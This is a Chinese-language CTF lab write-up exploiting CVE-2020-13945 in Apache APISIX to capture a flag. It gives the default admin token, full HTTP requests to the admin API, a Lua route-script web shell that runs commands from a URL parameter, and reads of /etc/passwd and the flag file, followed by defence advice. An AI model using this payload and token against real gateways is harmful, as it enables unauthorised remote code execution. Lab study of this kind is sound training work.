某靶场CTF题目:利用Apache APISIX默认Token漏洞(CVE-2020-13945)获取Flag
在最近的CTF靶场练习中,我遇到了一道关于API网关安全的题目,考察的是Apache APISIX的默认Token漏洞(CVE-2020-13945)。本文将详细记录我的解题过程,分享如何从零开始识别并利用这个漏洞最终获取flag。
题目信息
靶标介绍:
Apache APISIX是一个高性能API网关。在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token。攻击者利用这个Token可以访问到管理员接口,进而通过script参数来插入任意LUA脚本并执行。
目标地址 :
be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
解题过程
第一步:初始探测
访问目标地址,得到如下响应:
json
{"error_msg":"404 Route Not Found"}
这个响应告诉我们:
- 服务正常运行
- 没有配置默认路由
- 很可能是Apache APISIX网关(根据题目描述确认)

第二步:识别漏洞
回忆常见的APISIX漏洞,CVE-2020-13945浮现在脑海:
- Apache APISIX在使用默认配置时,会使用硬编码的管理员Token
- 默认Token为
edd1c9f034335f136f87ad84b625c8f1
- 通过这个Token可以访问管理API创建恶意路由
第三步:验证漏洞存在
使用Burp Suite构造管理API请求:
- 发送一个简单的GET请求到管理接口:
http
GET /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
如果返回403,说明Token错误;如果返回200或404,说明Token有效。
- 尝试创建测试路由:
http
POST /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
{
"uri": "/test",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}
成功创建路由验证了漏洞存在!
第四步:构造攻击载荷
为了获取flag,我需要执行系统命令查看服务器上的文件。构造如下恶意路由:
http
POST /apisix/admin/routes HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 411
{
"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"httpbin.org:80": 1
}
}
}
这个载荷创建了一个/attack
路由,它会执行通过URL参数cmd
传入的系统命令。

第五步:执行命令寻找flag
-
首先检查当前用户权限:
GET /attack?cmd=cat /etc/passwd HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
返回结果如下图:

- 查找flag文件(通常位于/root或/home或者/tmp目录):

发现flag位于/tmp/flag.txt
-
读取flag内容:
GET /attack?cmd=cat /tmp/flag.txt HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
成功获取flag!

-
提交成功
第六步:清理痕迹(可选)
在真实渗透测试中,记得删除创建的路由:
http
DELETE /apisix/admin/routes/00000000000000000016 HTTP/1.1
Host: be0fc291-9766-4a18-86ac-13884094c64b-2700.cyberstrikelab.com:83
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
漏洞原理深度分析
这个CTF题目考察的是CVE-2020-13945漏洞,其核心问题在于:
- 硬编码凭据:APISIX默认配置中包含固定的管理员Token
- 权限设计缺陷:管理API没有默认的访问控制限制
- 脚本注入:路由配置允许直接执行LUA代码且无安全过滤
攻击链如下:
默认Token → 访问管理API → 创建恶意路由 → LUA脚本注入 → RCE
防御建议
针对此类漏洞的防御措施:
- 修改默认配置:部署时必须更改所有默认凭据
- 网络隔离:管理接口不应暴露在公网
- 输入过滤:对LUA脚本进行严格的沙箱限制
- 最小权限:服务账户使用最低必要权限
总结
通过这道CTF题目,我们学习了:
- 如何识别Apache APISIX的默认配置漏洞
- 利用管理API创建恶意路由的技巧
- 通过LUA脚本注入实现RCE的方法
- 在CTF中寻找flag的系统性思路
这类题目在现实中也很有意义,提醒我们始终要修改默认凭据,加强API网关的安全配置。希望这篇writeup对大家今后的CTF比赛和实际安全工作有所帮助!